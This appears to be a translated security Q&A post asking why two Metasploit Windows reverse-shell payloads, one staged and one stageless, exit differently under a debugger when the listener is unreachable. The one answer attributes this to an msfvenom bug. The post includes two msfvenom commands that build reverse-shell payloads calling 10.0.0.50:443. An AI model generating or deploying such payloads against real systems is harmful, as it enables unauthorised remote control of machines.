“windows/shell_reverse_tcp”和“windows/shell/reverse_tcp”退出行为的区别

信息安全 毒液
2021-08-30 01:04:20

以上 2 个 Metasploit 有效负载用于创建从一个系统到另一个系统的反向 shell。它们之间的区别在这里清楚地解释了https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work

但是,我试图了解如果两个有效负载尝试连接的系统无法访问,它们将如何工作。

例如:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.50 LPORT=443

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.50 LPORT=443

将尝试连接到“10.0.0.50”。问题是如果“10.0.0.50”没有监听端口“443”,每个有效载荷将如何行动?

两个有效载荷都在使用EXITFUNC process,但是,当我在调试器中运行它们并在 shellcode 的最后一条指令处放置一个断点时,我得到了不同的结果。

我看到他们都利用“mswsock.dll”尝试连接到远程系统,一旦超时(默认为 5 秒):

  • shell_reverse_tcp将在调试器内显示“进程终止”,并且EIP指向ntdll.KiFastSystemCallRet. 断点永远不会被击中
  • 另一方面shell/reverse_tcp,会在 shellcode 的末尾遇到断点

笔记:

  • 如果它在预配置的端口上侦听,我通过成功连接到远程系统来确认两个有效负载都可以正常工作。
  • shell_reverse_tcp仅当它首先能够连接到远程系统时才会命中断点。使用内部 CMD 退出远程系统上的 shell 后,将exit触发断点。

知道为什么一个会达到断点,而如果远程侦听器无法访问,一个不会?

提前致谢。

1个回答

原来是 msfvenom 生成的 shellcode 的一个 bug

https://github.com/rapid7/metasploit-framework/issues/5811